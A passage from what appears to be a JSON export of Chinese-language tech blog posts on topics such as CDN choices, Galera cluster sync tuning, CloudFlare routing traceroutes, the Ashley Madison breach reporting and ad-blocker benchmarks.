iPhone 使用習慣的人在寫的，所以沒打算討論什麼「不是這樣設計」了，因為就只是記錄而已。\r\n\r\n先講大的感覺，在家走 WiFi 用 LG G2 的速度還蠻快的，大多數的應用程式也都很順，就 5.2\" 1080p 的感覺也很好。而在外面用 <a href=\"https://en.wikipedia.org/wiki/High_Speed_Packet_Access\">HSPA</a>/<a href=\"https://en.wikipedia.org/wiki/3G\">3G</a> 的速度也不錯。\r\n\r\n操作上最不習慣的幾個點，一個是「點上方的 status bar 回到最上面」的功能是 iOS 專有的功能 (應該是專利？)，可以注意到常用的 App 在這塊都是設計成「再點一次 icon 回到最上面」 (包括 <a href=\"https://twitter.com/\">Twitter</a>、<a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://instagram.com/\">Instagram</a>)，而這個設計幾乎目前 App 慣例了，剛好保持平台之間的一致性，所以這點慢慢適應了...\r\n\r\n另外是滑動時的捲動速度相較於 iPhone 快很多，翻了一下設定沒找到哪邊可以調，所以不是很確定能不能調整... 不過這點也慢慢適應了 :o\r\n\r\n而到現在比較不習慣的是 LG 自己的注音輸入法，還是沒有搞懂是怎麼選字的，大寫的驚嘆號「！」還是打不出來，也許再多摸幾天會有感覺吧 XDDD\r\n\r\n而有些 App 則是完全不同的設計。像是 <a href=\"http://zite.com/\">Zite</a> 的用法完全不同。\r\n\r\nAndroid 上的 Zite 看不到文章的 tag，分享時也不會紀錄上一次使用的分享方式 (iPhone 會把上一次分享的方式放到前面，通常我是用 Twitter 發表分享)。而版面上，Android 的 Zite 沒有 Popular 的部份。這些在 Zite 被 <a href=\"https://flipboard.com/\">Flipboard</a> 買走後應該是沒機會改了...\r\n\r\n另外老人家把電池保養的蠻好的，一整天帶出去才用掉 20% 的電 (我 iPhone 5S 的電池已經被我用的好慘啊)，當初歐盟統一充電規範這件事情也方便不少，家裡本來就有一堆設備是吃 Micro USB 了 (參考之前寫的「<a href=\"https://blog.gslin.org/archives/2011/01/07/2410/%E6%AD%90%E7%9B%9F%E5%BC%B7%E5%88%B6%E4%BD%BF%E7%94%A8-micro-usb-%E5%81%9A%E7%82%BA%E6%89%8B%E6%A9%9F%E5%85%85%E9%9B%BB%E4%BB%8B%E9%9D%A2/\">歐盟強制使用 Micro USB 做為手機充電介面</a>」這篇)。\r\n\r\n以上是用了三天的感想，之後有新的未必會更新 XD",
    "title": "回到 Android 世界熟悉..."
  },
  {
    "id": "5932",
    "body": "<a href=\"https://github.com/\">GitHub</a> 給了從 2008 年到 2015 年現在，放在 GitHub 上專案所使用程式語言的排名：「<a href=\"https://github.com/blog/2047-language-trends-on-github\">Language Trends on GitHub</a>」。\r\n\r\n這同時包括了公開與私人 repository：\r\n\r\n<blockquote>The rank represents languages used in public &amp; private repositories, excluding forks, as detected by Linguist.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/qhJvTU5.jpg\" alt=\"\" />\r\n\r\n可以看到 <a href=\"https://www.java.com/\">Java</a> 專案的排名逐步上升，應該是愈來愈多 Java 專案放到 GitHub 上 (應該是跟 <a href=\"https://www.android.com/\">Android</a> 有關)。而 <a href=\"https://www.perl.org/\">Perl</a> 是掉出去很久了，<a href=\"https://www.php.net/\">PHP</a> 則是萬年不動... XD",
    "title": "GitHub 上程式語言的趨勢"
  },
  {
    "id": "5933",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 推出這個功能很棒啊，不過這後面的資料結構必須設計的夠好才能這樣玩：「<a href=\"https://blog.cloudflare.com/introducing-a-powerful-way-to-purge-cache-on-cloudflare-purge-by-cache-tag/\">Introducing a Powerful Way to Purge Cache on CloudFlare: Purge by Cache-Tag</a>」。\r\n\r\ncache purge 一直都是 CDN 的痛處，用過的每一家 CDN 都在比慢的，大概都是 10 mins 起跳，但 CloudFlare 在這塊花了不少功夫：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pPWDRZI.webp\" /><img src=\"https://i.gslin.com/imgur/pPWDRZI.jpg\" alt=\"\" /></picture>\r\n\r\n可以想像到的方式是放入 <code>user_gslin</code> (在使用者停用時可以馬上更新) 或是 <code>pic_id_1234567890</code> (可以針對各種縮圖一次刷新) 這樣的 tag 去歸類，然後就可以大規模刷...",
    "title": "CloudFlare 推出 tag-based purge 功能"
  },
  {
    "id": "5934",
    "body": "在「<a href=\"http://blog.erratasec.com/2015/08/notes-on-ashley-madison-dump.html\">Notes on the Ashley-Madison dump</a>」這邊給了這次婚外情約會網站 <a href=\"https://en.wikipedia.org/wiki/Ashley_Madison\">Ashley Madison</a> 資料外洩的註解，甚至還包括 <a href=\"http://www.bittorrent.com/\">BitTorrent</a> 的 <a href=\"https://en.wikipedia.org/wiki/Magnet_URI_scheme\">magnet://</a> 下載連結...\r\n\r\n將近四千萬筆資料的資料外洩 (實際約三千六百萬)，男性為大宗，約 28 million 是男性，5 million 女性 (依據 gender 欄位)，有 2 million 無法確認。不過如果交叉比對信用卡資料，會發現只有男性付費：\r\n\r\n<blockquote>It's heavily men. I count 28-million men to 5 million woman, according to the \"gender\" field in the database (with 2-million undetermined). However, glancing through the credit-card transactions, I find only male names.</blockquote>\r\n\r\n另外是密碼儲存方式是 <a href=\"https://en.wikipedia.org/wiki/Bcrypt\">bcrypt</a>：\r\n\r\n<blockquote><strong>Passwords hashed with bcrypt.</strong> Almost all the records appear to be protected with <strong>bcrypt</strong>. This is a refreshing change. Most of the time when we see big sites hacked, the passwords are protected either poorly (with MD5) or not at all (in \"clear text\", so that they can be immediately used to hack people). Hackers will be able to \"crack\" many of these passwords when users chose weak ones, but users who strong passwords are safe.</blockquote>\r\n\r\n整包是 9.7GB 的壓縮資料... <a href=\"http://www.freebuf.com/\">FreeBuf.COM</a> 也整理了一篇：「<a href=\"http://www.freebuf.com/news/75421.html\">七夕将至，婚外情网站数据终于裸奔了</a>」。",
    "title": "這次的 Ashley-Madison 資料外洩"
  },
  {
    "id": "5936",
    "body": "在使用 CDN 前，先考慮上 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 或 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> (i.e. 全站 HTTPS)，改善的效果跟 CDN latency 帶來的效益有得拼。尤其是 server 放在美國機房的情況，SPDY 與 HTTP/2 帶來的效能提昇是相當明顯的。\r\n\r\n會寫這篇是因為這兩個禮拜意外被問到好幾次，所以來整理幾家如果讓我來選，我會選擇的 CDN。至少再被問到的時候可以直接從這邊開始說明。\r\n\r\n下面的圖是從我家裡 <a href=\"http://www.hinet.net/\">HiNet</a> 光世代測試的結果 (最後是走兩條電話線)，所以會有個 10ms 的 latency 基底，如果要計算 latency 的效能影響請考慮進去。\r\n\r\n<h2>Akamai</h2>\r\n\r\n先講 <a href=\"https://www.akamai.com/\">Akamai</a>。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oK07idN.webp\" /><img src=\"https://i.gslin.com/imgur/oK07idN.jpg\" alt=\"\" /></picture>\r\n\r\nAkamai 的歷史很久了，再加上併購了不少公司，所以產品成熟度很夠，你要什麼產品都有提供，只要拿的出錢就可以。\r\n\r\n<a href=\"http://www.kkbox.com/\">KKBOX</a> (敝公司) 用過 PMD、<a href=\"https://www.akamai.com/us/en/solutions/products/media-delivery/dynamic-site-delivery.jsp\">DSD</a>、<a href=\"https://www.akamai.com/us/en/solutions/products/web-performance/dynamic-site-accelerator.jsp\">DSA</a> 三個產品，其中 PMD 與 DSD 只有保障服務可靠度 (availability)，DSA 還有保障效能提昇 (performance)。早期是用 PMD + DSD，現在改用 PMD + DSA。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fB8mXrd.webp\" /><img src=\"https://i.gslin.com/imgur/fB8mXrd.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lkIqOpE.webp\" /><img src=\"https://i.gslin.com/imgur/lkIqOpE.jpg\" alt=\"\" /></picture>\r\n\r\n在功能面上，雖然 Akamai 是大公司，但各種新功能跟的蠻快的。主要就是為了 SPDY 以及之後預期會有的 HTTP/2 而選了 DSA，另外也剛好有效能提昇 SLA 需求而一併升級。\r\n\r\n品質上來說，Akamai 在全球的點 (PoP) 夠密集 (差不多是有 ISP 機房就會放)，當初會選擇 Akamai 是為了敝公司在泰國與馬來西亞兩個地區的用戶，而 PMD 在這兩個地區的品質都還不錯。\r\n\r\n在台灣也有好幾個點，但除非你買的產品線等級夠高 (i.e. 合約有保證 performance，像是 DSA)，不然平常不會分到台灣的點，以最近的情況來說是深夜才有機會指回台灣。\r\n\r\n這是 Akamai DSD 的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3XoFS59.webp\" /><img src=\"https://i.gslin.com/imgur/3XoFS59.jpg\" alt=\"\" /></picture>\r\n\r\n而這是 DSA 的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wXcg4To.webp\" /><img src=\"https://i.gslin.com/imgur/wXcg4To.jpg\" alt=\"\" /></picture>\r\n\r\n可以看得出來 latency 的差異。\r\n\r\n在 SLA 的部份，是目前少數有提供保證 100% availability SLA 的 CDN。\r\n\r\n成本考量上，價錢是最硬的，但由於 CDN 這個領域競爭得很激烈，只要超過某一個 commit level 後有機會壓到跟 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 拼的價錢，也就是說，有經濟規模就有機會在台灣變成重點客戶而坐下來談價錢 (不確定多少，但 CloudFront 的第一個級距 10TB/month 應該是基本吧)。\r\n\r\n另一方面，因為透過業務談價錢，會需要開會討論，所以對使用方的人力成本偏高。不過因為如此，台灣有 Akamai 辦公室與經銷商，稅務會比較好處理。(參考：「<a href=\"http://www.zerone.com.tw/MK_BrandNews-detail.aspx?Nid=373\">零壹科技正式代理Akamai 推展雲端優化服務解決方案</a>」)\r\n\r\n總結來說，適合已經有量，而且台灣是重要客群的公司。\r\n\r\n<h2>EdgeCast</h2>\r\n\r\n再來講 <a href=\"http://www.edgecast.com/\">EdgeCast</a>。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/53AR7fu.webp\" /><img src=\"https://i.gslin.com/imgur/53AR7fu.jpg\" alt=\"\" /></picture>\r\n\r\nEdgeCast 的功能比 Akamai 少很多，自從被 <a href=\"http://www.verizon.com/\">Verizon</a> 買進去後就沒推出什麼比較有趣的產品了 (參考「<a href=\"https://blog.gslin.org/archives/2013/12/11/3923/verizon-%E6%89%93%E7%AE%97%E8%B2%B7%E4%B8%8B-edgecast/\">Verizon 打算買下 EdgeCast...</a>」)，感覺上是電信公司買來補產品線的啦，所以也不用太期待之後會有什麼新產品推出來...\r\n\r\n比較特別的是 EdgeCast 跟 <a href=\"http://www.hinet.net/\">HiNet</a> 有合作 (參考「<a href=\"https://blog.gslin.org/archives/2013/09/06/3529/edgecast-%E8%88%87-hinet-%E5%90%88%E4%BD%9C/\">EdgeCast 與 HiNet 合作...</a>」)，所以也是少數在台灣有機房的 CDN 業者。在台灣的 PoP 據說是在高雄 HiNet 機房內：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KCBdi5r.webp\" /><img src=\"https://i.gslin.com/imgur/KCBdi5r.jpg\" alt=\"\" /></picture>\r\n\r\n另外 EdgeCast 有 <a href=\"http://www.edgecast.com/network/map/\">Network Map</a> 可以看在全球有哪些 PoP。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dIcCXY5.webp\" /><img src=\"https://i.gslin.com/imgur/dIcCXY5.jpg\" alt=\"\" /></picture>\r\n\r\n價錢上聽朋友說比 Akamai 低了不少，不過自己沒經手過無法確認。同樣是透過業務談，所以也有類似的人力與稅務優缺點。不過據說也可以直接 bypass 國內的業務，直接跟國外談，不過這樣搞境外稅務的問題就要自己解決了。\r\n\r\n綜合來說，也是適合已經有量，由於沒有 SPDY 與 HTTP/2，就看 PoP 的點決定合不合用。\r\n\r\n<h2>CloudFront</h2>\r\n\r\n<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 算是很多 startup 的第一嘗試，no commit 以及帳單在同一張可以省下不少功夫。\r\n\r\n在 CloudFront 上分成三個不同等級的產品，通常下載用可以拿 Price Class 100 (只有北美與歐洲的 PoP)，而真正要加速用的再拿 Price Class All 用。\r\n\r\n而功能面上，CloudFront 的功能說不定還比 EdgeCast 多，不過還是沒支援 SPDY 或 HTTP/2，所以基本上是靠台灣的 PoP 在撐 latency 的。而台灣的 PoP 據說在內湖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AQjP1ek.webp\" /><img src=\"https://i.gslin.com/imgur/AQjP1ek.jpg\" alt=\"\" /></picture>\r\n\r\n價錢在官網上就擺出來給大家看了，比較大的缺點是不同區域是分開算錢的，不過是可以找台灣的經銷商談 commit level 包價錢啦，不過價錢還是很難談。\r\n\r\n綜合來說，適合 startup 用。\r\n\r\n<h2>CloudFlare</h2>\r\n\r\n<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 也是很多人問的一個選擇，不看流量價錢固定是賣點之一。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fuuYDNj.webp\" /><img src=\"https://i.gslin.com/imgur/fuuYDNj.jpg\" alt=\"\" /></picture>\r\n\r\n功能非常多，SSL certificate 涵蓋在所有產品內，另外也是目前少數支援 SPDY 的 CDN。技術上是走 Anycast 而非 GeoDNS dispatch。\r\n\r\n<a href=\"http://www.hinet.net/\">HiNet</a> 過去的品質爛到爆炸 (重點在於會 packet loss)，也常常是被 DDoS 的目標。台灣其他的 ISP 過去大多都是到日本機房，但 HiNet 會到香港機房，而 HiNet 的這條線路相當壅塞：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FpKaGG8.webp\" /><img src=\"https://i.gslin.com/imgur/FpKaGG8.jpg\" alt=\"\" /></picture>\r\n\r\n主要還是靠 SPDY 的能耐硬是把效能撐到「堪用」的程度，而 CloudFlare 遇到 DDoS 時就慘了。\r\n\r\n價錢也是公開的，但以商用水準的品質來說，已經低到及格線以下了...\r\n\r\n綜合來說，自己玩玩的東西還可以啦，任何商業性質的網站都不應該單獨用 (與其他 CDN 服務動態偵測服務搭配著用還加減可以用用)。所以目前看到用最多的服務就是內容農場 (Content Farm) 在用，為了節省頻寬與伺服器的負荷，不太在意品質。\r\n\r\n<h2>補充</h2>\r\n\r\n最後補充在台灣有機房的 CDN 業者：(按照字母排，可能有漏)\r\n\r\n<ul>\r\n\t<li>Akamai</li>\r\n\t<li>Amazon CloudFront</li>\r\n\t<li><a href=\"https://azure.microsoft.com/en-us/services/cdn/\">Azure</a></li>\r\n\t<li><a href=\"http://www.cdnetworks.com/\">CDNetworks</a></li>\r\n\t<li>EdgeCast</li>\r\n</ul>",
    "title": "關於各家 CDN 的選擇..."
  },
  {
    "id": "5938",
    "body": "在「<a href=\"http://coding-geek.com/how-databases-work/\">How does a relational database work</a>」這篇文章用了很長的篇幅講「資料庫如何把 SQL query 轉換為實際的操作」：\r\n\r\n<blockquote>I’ll focus on what I think is essential: the way a database handles an SQL query.</blockquote>\r\n\r\n資料庫也是人寫出來的，資料結構與演算法也是人設計出來的。你現在手上有資料，要怎麼把 SQL query 變成有效率的查詢操作行為，就是這篇文章在描述的。\r\n\r\n看起來連 JOIN 的機制也講了不少...",
    "title": "Relational Database System (RDBMS) 運作的方式"
  },
  {
    "id": "5939",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2015/08/20/optimizing-pxc-xtrabackup-state-snapshot-transfer/\">State Snapshot Transfer (SST) at a glance</a>」這篇給了 <a href=\"http://galeracluster.com/\">Galera Cluster</a> (也就是 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a>) 在同步速度的改善方案，整篇文章一步一步改善，從 51 分鐘降到 18 分鐘。\r\n\r\n劃幾個重點。\r\n\r\n首先是同步時的設定可以放到系統 <code>my.cnf</code> 的 <code>[sst]</code> 內，像是這樣：\r\n\r\n<pre>[sst]\r\ninno-apply-opts=\"--use-memory=20G\"</pre>\r\n\r\n其中改善最大的也就是 <code>--use-memory</code>，依照作者測試的數據，光這步就從 51 分鐘降到 30 分鐘。不過這邊要小心本來就有跑的 mysqld，如果 OOM 就慘了...\r\n\r\n再來講的是 <code>wsrep_slave_threads</code>，不同於上面的 sst only 設定，這是在一般性的 tuning (平常在跑的參數，放在 <code>[mysqld]</code> 內)，改完後速度 30 分鐘再提升到 25:32。\r\n\r\n然後是壓縮的方式改用支援多 CPU 的 <a href=\"http://zlib.net/pigz/\">pigz</a>：\r\n\r\n<pre>[sst]\r\ninno-apply-opts=\"--use-memory=20G\"\r\ncompressor=\"pigz\"\r\ndecompressor=\"pigz -d\"</pre>\r\n\r\n很明顯是個 shell command 類的設定，所以如果真的想要測的話，可以再從 <code>-1</code> 測到 <code>-9</code>，作者在這邊沒測，不過效果也很明顯了，從 25:32 降到 21 分鐘。\r\n\r\n最後一個大的改變是建議有專門同步的節點 (Donor node)，這個節點上不會有 SQL query 來影響效能，這樣可以讓 pigz 的效率更高：\r\n\r\n<blockquote>Since node2 is not getting application traffic, moving into the Donor state and doing an expensive SST with pigz compression should be relatively safe for the rest of the cluster (in this case, node1).</blockquote>\r\n\r\n時間最後降到 18:33。",
    "title": "Galera Cluster (Percona XtraDB Cluster) 同步速度的改善"
  },
  {
    "id": "5941",
    "body": "剛剛看到<a href=\"http://ronny.tw/\">跑步王</a>在 <a href=\"http://coscup.org/2015/\">COSCUP 2015</a> 的「<a href=\"https://www.youtube.com/watch?v=FEc_4g-I8j8\">COSCUP 2015 - 使用 PostgreSQL, NoSQL 和 GIS 一次滿足 - Ronny Wang</a>」這份錄影資料：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/FEc_4g-I8j8\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n前半段講 JSON、JSONB (<a href=\"http://www.postgresql.org/docs/9.4/static/datatype-json.html\">JSON Types</a>) 以及 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的 <a href=\"http://www.postgresql.org/docs/9.4/static/indexes-expressional.html\">Indexes on Expressions</a> 以及 <a href=\"http://www.postgresql.org/docs/9.4/static/indexes-partial.html\">Partial Indexes</a>。\r\n\r\n後半段講 GIS 的部份也很讚，不過就偏地圖應用了 :p",
    "title": "跑步王在 COSCUP 2015 的 PostgreSQL、JSON、GIS"
  },
  {
    "id": "5942",
    "body": "記得剛買來的時候是有聲音的，後來突然有一天沒聲音... 試了一堆方法都沒用 (換 kernel 版本、禁用 <a href=\"https://en.wikipedia.org/wiki/Extensible_Host_Controller_Interface\">xHCI</a>、換 USB 線、...)，最後是在「<a href=\"http://www.audioasylum.com/audio/digital/messages/16/168865.html\">Benchmark DAC2 HGC impressions (and Linux setup notes)</a>」這邊看到方法。\r\n\r\n這邊有幾個重點：\r\n\r\n<blockquote>DAC2's USB 1.0 mode doesn't work with Linux kernel 3.8.x, but USB 2.0 does. So switch it to USB 2.0 and forget about it. Next, I figured that the audio was simply being muted in some instances. The solution is to open a terminal window, run AlsaMixer, hit F6 to configure the DAC 2. Even though their levels cannot be altered (they're fixed at 00), the first two items must be unmuted in order to get any sound:</blockquote>\r\n\r\n如同文章裡說的，USB 1.0 模式 (會抓到「Benchmark DAC2 USB Audio 1.0」) 是不會動的，而 USB 2.0 可以 (會抓到「Benchmark DAC2 USB Audio 2.0」)，但播放時沒有聲音。\r\n\r\n解法則是使用 <code>alsamixer</code>，進入後按 F6 選 Benchmark DAC2，將前面兩個用 \t<code>m</code> 給 unmute 掉就好了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4eBoGkW.webp\" /><img src=\"https://i.gslin.com/imgur/4eBoGkW.jpg\" alt=\"\" /></picture>\r\n\r\n為此學到一堆底層看 USB 的工具...",
    "title": "Benchmark DAC2 HGC 在 Ubuntu 14.04 LTS 下使用 USB 沒有聲音的問題"
  },
  {
    "id": "5945",
    "body": "<a href=\"http://www.tvbs.com.tw/\">TVBS</a> 網站整個使用 <a href=\"https://www.cloudflare.com/\">CloudFlare</a>，但針對台灣地區 <a href=\"http://www.hinet.net/\">HiNet</a> 的部份仍然保持使用 anycast，但該段 routing 沒有透過香港機房放進 HiNet，而是很特別的走到了 San Jose 的機房：\r\n\r\n<small><pre>  3.|-- SNUH-3202.hinet.net        0.0%    10   10.4  10.5   8.8  16.8   2.2\r\n  4.|-- TPDT-3012.hinet.net        0.0%    10   14.5  14.6  10.6  20.6   3.4\r\n  5.|-- r4102-s2.tp.hinet.net      0.0%    10    9.8  10.0   8.7  10.8   0.5\r\n  6.|-- r4002-s2.tp.hinet.net      0.0%    10   10.8  19.0   8.7  82.1  23.0\r\n  7.|-- r12-pa.us.hinet.net        0.0%    10  137.7 138.4 136.9 139.2   0.3\r\n  8.|-- sjo-b21-link.telia.net     0.0%    10  157.0 156.4 155.7 157.7   0.3\r\n  9.|-- cloudflare-ic-309920-sjo-  0.0%    10  146.9 148.6 145.8 167.4   6.6\r\n 10.|-- 198.41.187.120            10.0%    10  145.7 146.7 137.9 156.9   7.6</pre></small>\r\n\r\n國內其他 ISP 則是如同一般的情況，走到了日本機房：\r\n\r\n<small><pre>  3.|-- 60-199-236-110.static.tfn  0.0%    10    0.3   0.3   0.3   0.3   0.0\r\n  4.|-- 60-199-255-3.static.tfn.n  0.0%    10    0.3   0.3   0.2   0.3   0.0\r\n  5.|-- 60-199-20-153.static.tfn.  0.0%    10    0.2   2.6   0.2  24.2   7.5\r\n  6.|-- 60-199-3-137.static.tfn.n  0.0%    10    0.3   2.2   0.2  20.1   6.3\r\n  7.|-- 60-199-18-90.static.tfn.n  0.0%    10    0.3   0.3   0.3   0.4   0.0\r\n  8.|-- 60-199-3-222.static.tfn.n  0.0%    10    0.4   0.4   0.4   0.5   0.0\r\n  9.|-- xe-1-0-0.r01.taiptw01.tw.  0.0%    10    0.8   3.1   0.7  23.6   7.2\r\n 10.|-- ae-1.r00.taiptw01.tw.bb.g  0.0%    10    5.6   5.5   0.9  39.1  11.9\r\n 11.|-- as-2.r22.tokyjp01.jp.bb.g  0.0%    10   53.2  52.3  49.3  53.8   1.4\r\n 12.|-- ae-8.r25.tokyjp05.jp.bb.g  0.0%    10   52.5  53.0  50.4  56.4   1.7\r\n 13.|-- ae-2.r01.tokyjp03.jp.bb.g  0.0%    10   54.5  53.1  50.1  55.3   1.8\r\n 14.|-- xe-0-0-0-29.r01.tokyjp03.  0.0%    10   79.5  77.2  73.6  79.5   1.6\r\n 15.|-- 198.41.190.120             0.0%    10   54.8  58.8  49.9  78.7  10.5</pre></small>\r\n\r\n<small><pre>  3.|-- h61-192-72-154.seed.net.t  0.0%    10    0.4   0.5   0.4   0.6   0.0\r\n  4.|-- R58-145.seed.net.tw       10.0%    10   13.2   8.4   0.5  42.4  13.6\r\n  5.|-- R59-194.seed.net.tw        0.0%    10   52.5  10.8   0.6  52.5  19.7\r\n  6.|-- xe-4-0-0.r01.taiptw01.tw.  0.0%    10    0.6   0.7   0.6   0.8   0.0\r\n  7.|-- ae-1.r00.taiptw01.tw.bb.g  0.0%    10    0.9   0.9   0.8   1.1   0.0\r\n  8.|-- as-2.r22.tokyjp01.jp.bb.g  0.0%    10   70.8  66.5  49.2 102.1  19.4\r\n  9.|-- ae-8.r24.tokyjp05.jp.bb.g  0.0%    10   54.3  58.2  53.2  76.3   6.8\r\n 10.|-- ae-1.r01.tokyjp03.jp.bb.g  0.0%    10   55.6  54.1  48.9  55.7   2.1\r\n 11.|-- xe-0-0-0-29.r01.tokyjp03.  0.0%    10   55.0  56.8  53.0  59.3   1.9\r\n 12.|-- 198.41.186.120             0.0%    10   55.1  54.8  50.7  58.1   2.0</pre></small>\r\n\r\n依照 Netcraft 上的資料 (<a href=\"http://toolbar.netcraft.com/site_report?url=http://www.tvbs.com.tw\">Site report for www.tvbs.com.tw</a>) 應該是六月的時候換去的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jk9DqSt.webp\" /><img src=\"https://i.gslin.com/imgur/jk9DqSt.jpg\" alt=\"\" /></picture>\r\n\r\n應該是國內比較有量的網站裡面少數用 CloudFlare 的？其他新聞網站大多都用 <a href=\"https://www.akamai.com/\">Akamai</a>...",
    "title": "TVBS 的 CloudFlare 客製化..."
  },
  {
    "id": "5946",
    "body": "把 <a href=\"https://www.ashleymadison.com/\">Ashley Madison</a> 洩漏出來的資料拿來分析發現網站上根本沒有女性在使用：「<a href=\"http://gizmodo.com/almost-none-of-the-women-in-the-ashley-madison-database-1725558944\">Almost None of the Women in the Ashley Madison Database Ever Used the Site</a>」。\r\n\r\n作者分析以後發現 550 萬的女性使用者幾乎都是假的：\r\n\r\n<blockquote>It isn’t even a sadscape of 31 million men competing to attract those 5.5 million women in the database. Instead, it’s like a science fictional future where every woman on Earth is dead, and some Dilbert-like engineer has replaced them with badly-designed robots.</blockquote>\r\n\r\n純粹就性別欄位來看：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tUz7xQY.webp\" /><img src=\"https://i.gslin.com/imgur/tUz7xQY.jpg\" alt=\"\" /></picture>\r\n\r\n但如果把活躍度以及使用聊天功能的人數放進去，就呼應了作者的講法：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6c5gOFK.webp\" /><img src=\"https://i.gslin.com/imgur/6c5gOFK.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2UEKQQs.webp\" /><img src=\"https://i.gslin.com/imgur/2UEKQQs.jpg\" alt=\"\" /></picture>\r\n\r\n最後的說明：\r\n\r\n<blockquote>Overall, the picture is grim indeed. Out of 5.5 million female accounts, roughly zero percent had ever shown any kind of activity at all, after the day they were created.</blockquote>\r\n\r\n不過中間還有一段很重要，幾年前加拿大的前員工控訴 Ashley Madison 的工作環境很惡劣時提出來「偽造女性帳號」的事情：\r\n\r\n<blockquote>A few years ago, a former employee of Ashley Madison sued the company in Canada over her terrible work conditions. She claimed that she’d gotten repetitive stress injuries in her hands after the company hired her to create 1,000 fake profiles of women in three months, written in Portuguese, to attract a Brazilian audience. The case was settled out of court, and Ashley Madison claimed that the woman never made any fake profiles.</blockquote>\r\n\r\n接下來不知道還會有多少分析...",
    "title": "Ashley Madison 資料分析..."
  },
  {
    "id": "5947",
    "body": "在「<a href=\"https://www.raymond.cc/blog/10-ad-blocking-extensions-tested-for-best-performance/view-all/\">10 Ad Blocking Extensions Tested for Best Performance</a>」這篇看到各個 Ad Blocker 軟體的比較。\r\n\r\n對各網站測試了載入速度、記憶體使用量、CPU 使用率，重點應該是最後的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1b2DXFs.webp\" /><img src=\"https://i.gslin.com/imgur/1b2DXFs.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/x5szl5t.webp\" /><img src=\"https://i.gslin.com/imgur/x5szl5t.jpg\" alt=\"\" /></picture>\r\n\r\n其中最知名的 <a href=\"https://adblockplus.org/\">AdBlock Plus</a> (ABP) 會最慢的原因也很簡單，因為他預設值會放行廣告，這導致了效能掉很多：\r\n\r\n<blockquote>If you’re wondering why the popular AdBlock Plus got low scores in some Chrome tests, the answer is simple and it’s purely down to the acceptable ads check box. Disable “Allow some non-intrusive advertising” and AdBlock Plus will performance wise, sit in the middle of the pack.</blockquote>\r\n\r\n在 ABP 把 acceptable ads 擋掉後速度就比較接近了。不過，如果你願意接受 acceptable ads，也不應該選擇 ABP，因為其他也有支援 acceptable ads 的軟體效能比較好：\r\n\r\n<blockquote>Whatever your opinion on acceptable ads, using the option in ABP is not recommended and if you wish to support showing specific ads while browsing, use something else. AdBlock, Adguard, AdRemover and SuperBlock all have an acceptable ads option of some sort, but none suffer a performance drop like ABP.</blockquote>\r\n\r\n最後的結論，不論是 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 或是 <a href=\"https://www.mozilla.org/firefox\">Firefox</a>，贏家都是 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a>：\r\n\r\n<blockquote>The overall winner in Firefox is simply the quickest, and that was µBlock origin. µ AdBlock is a fair choice if you want an easy to use but fast blocker, the rest are almost identical so it’s down to personal preference and the options available as to which one you use.</blockquote>\r\n\r\n<blockquote>The winner in Chrome is a closer call when you consider the results from all three tests. But as it got a couple of firsts and a second, we would say µBlock Origin is the definite winner, it truly is fast and efficient as the author claims. Both Ghostery and Adguard are still excellent choices and are viable alternatives to µBlock Origin providing good performance in all 3 categories.</blockquote>\r\n\r\n<a href=\"https://www.ghostery.com/\">Ghostery</a> 雖然也會因為少讀很多東西進來而加快速度，不過拿來一起比好像怪怪的...\r\n\r\n網路廣告愈來愈誇張，阻擋的功能變成趨勢了，在桌機上支援的軟體愈來愈完善，而在行動裝置上，iOS 9 也開始支援了：「<a href=\"http://thenextweb.com/apple/2015/08/27/content-blocking-in-ios-9-is-going-to-screw-up-way-more-than-just-ads/\">Content blocking in iOS 9 is going to screw up way more than just ads</a>」。",
    "title": "Google Chrome 與 Firefox 上擋廣告軟體的效能比較"
  },
  {
    "id": "5948",
